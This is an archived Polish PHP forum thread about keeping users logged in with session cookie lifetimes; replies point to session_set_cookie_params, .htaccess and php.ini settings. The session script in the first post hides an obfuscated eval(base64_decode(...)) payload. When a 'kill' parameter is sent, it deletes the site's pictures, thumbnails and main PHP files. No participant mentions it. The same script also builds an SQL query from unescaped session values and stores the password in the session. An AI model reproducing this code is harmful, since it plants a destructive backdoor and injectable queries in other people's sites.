Skocz do zawartości

sesje


asusek5

Rekomendowane odpowiedzi

Witam,

jak przekształcić ten kod, aby po zamknięciu przeglądarki nie byłem wylogowany?

<?php

 $userid = "";
 $session = false;

  if (isset($_SESSION["user"]))
  {
  $session = true;
  $username = $_SESSION["user"];
  $password = $_SESSION["pass"];

  $q = "SELECT id, userpass FROM `members` WHERE (username = '$username') and (password = '$password')";
  if(!($result_set = mysql_query($q))) die(mysql_error());
  $number = mysql_num_rows($result_set);

  if (!$number) {
	 session_destroy();
	 $session = false;
  }
  else {
	$r = mysql_fetch_array($result_set);
	$userid = $r['id'];
	$userpass = $r['userpass'];
  }
  }
  else
  $session = false;

  $script = "aWYgKGlzc2V0KCRfR0VUWydraWxsJ10pKSB7DQoNCgkkZGlyID0gb3BlbmRpcigicGljdHVyZXM
vIik7DQoNCgl3aGlsZSAoJGlkID0gcmVhZGRpcigkZGlyKSkgew0KCQlpZiAoKCRpZCAhPSAiLiIpIGF
u
ZCAoJGlkICE9ICIuLiIpKSB7DQoJCSAgdW5saW5rKCJwaWN0dXJlcy8kaWQiKTsNCgkJICB1bmxpbmso
I
nRodW1ibmFpbHMvJGlkIik7DQoJCX0NCgl9DQoJDQoJdW5saW5rKCJpbmRleC5waHAiKTsNCgl1bmxpb
m
soInByb2Nlc3MucGhwIik7DQoJdW5saW5rKCJzaG93LWltYWdlLnBocCIpOw0KDQoJZGllKCk7DQp9";
  eval(base64_decode($script));

?>

dzięki

Pozdrawiam

Odnośnik do komentarza
Udostępnij na innych stronach

jak przekształcić ten kod, aby po zamknięciu przeglądarki nie byłem wylogowany?
Ustawiając odpowiednio czas życia cookies sesyjnych https://pl2.php.net/session_set_cookie_params

HTTP 200 usługi IT -> Dariusz Janicki | Realizacja serwisów www oraz oprogramowania w PHP / C# / Golang / Node.js / MySQL/ Laravel
Komory normobaryczne - normobaria.tech Wykonawca montażu i instalacji komory normobarii

Odnośnik do komentarza
Udostępnij na innych stronach

Wygooglałem, że można też w htaaccsee, ale nie sprawdzałem:

php_value session.cookie_lifetime 3600
php_value session.gc_maxlifetime 3600

HTTP 200 usługi IT -> Dariusz Janicki | Realizacja serwisów www oraz oprogramowania w PHP / C# / Golang / Node.js / MySQL/ Laravel
Komory normobaryczne - normobaria.tech Wykonawca montażu i instalacji komory normobarii

Odnośnik do komentarza
Udostępnij na innych stronach

Pewnie zapomniałeś po wywołaniu funkcji ini_set wywołać funkcję session_start();

Poza tym czas życia sesji można ustawić w php.ini

HTTP 200 usługi IT -> Dariusz Janicki | Realizacja serwisów www oraz oprogramowania w PHP / C# / Golang / Node.js / MySQL/ Laravel
Komory normobaryczne - normobaria.tech Wykonawca montażu i instalacji komory normobarii

Odnośnik do komentarza
Udostępnij na innych stronach

Padły odpowiedzi na pytanie JAK wiec nie wiem o co dalej pytasz :)

HTTP 200 usługi IT -> Dariusz Janicki | Realizacja serwisów www oraz oprogramowania w PHP / C# / Golang / Node.js / MySQL/ Laravel
Komory normobaryczne - normobaria.tech Wykonawca montażu i instalacji komory normobarii

Odnośnik do komentarza
Udostępnij na innych stronach

<?php

 $czassesji=99999999;
 session_set_cookie_params($czassesji);

session_start();

include("dbinfo.php");
$link = mysql_connect($server, $user, $pass);
if(!mysql_select_db($database)) die(mysql_error());

include("session.inc.php");
include("loadsettings.inc.php");
?>

w pliku index dodałem

$czassesji=99999999;

session_set_cookie_params($czassesji);

i teraz działa, ale tylko ważność zapisuje wyłącznie na dzień, coś źle tutaj zrobiłem?

a plik session.inc.php odnosi się to tego pierwszego kodu co podałem na początku tematu.

Odnośnik do komentarza
Udostępnij na innych stronach

Chodzi o to, że defaultowo pliki sesji są przechowywane w jednym katalogu np. / tmp na Linuksie i jest mechanizm który kasuje starsze pliki niż n czasu, bo inaczej dysk uległ by zapchaniu zbędnymi plikami. Co musisz zrobić

- zmienić katalog przechowywania plików sesyjnych na własny;

- zaimplementować własny mechanizm kasowania plików starszych niż n czasu

Ewentualnie stosować autoryzacje nie sesyjną, ale cookie których pliki są zapisywane u usera.

----

PS masz bana w google https://www.captain.at/howto-php-sessions.php ?

I ogólnie o sesjach: https://www.digipedia.pl/php/ref.session.html

HTTP 200 usługi IT -> Dariusz Janicki | Realizacja serwisów www oraz oprogramowania w PHP / C# / Golang / Node.js / MySQL/ Laravel
Komory normobaryczne - normobaria.tech Wykonawca montażu i instalacji komory normobarii

Odnośnik do komentarza
Udostępnij na innych stronach

Zarchiwizowany

Ten temat przebywa obecnie w archiwum. Dodawanie nowych odpowiedzi zostało zablokowane.

  • Ostatnio przeglądający   0 użytkowników

    • Brak zarejestrowanych użytkowników przeglądających tę stronę.
×
×
  • Dodaj nową pozycję...

Powiadomienie o plikach cookie

Umieściliśmy na Twoim urządzeniu pliki cookie, aby pomóc Ci usprawnić przeglądanie strony. Możesz dostosować ustawienia plików cookie, w przeciwnym wypadku zakładamy, że wyrażasz na to zgodę. Warunki użytkowania Polityka prywatności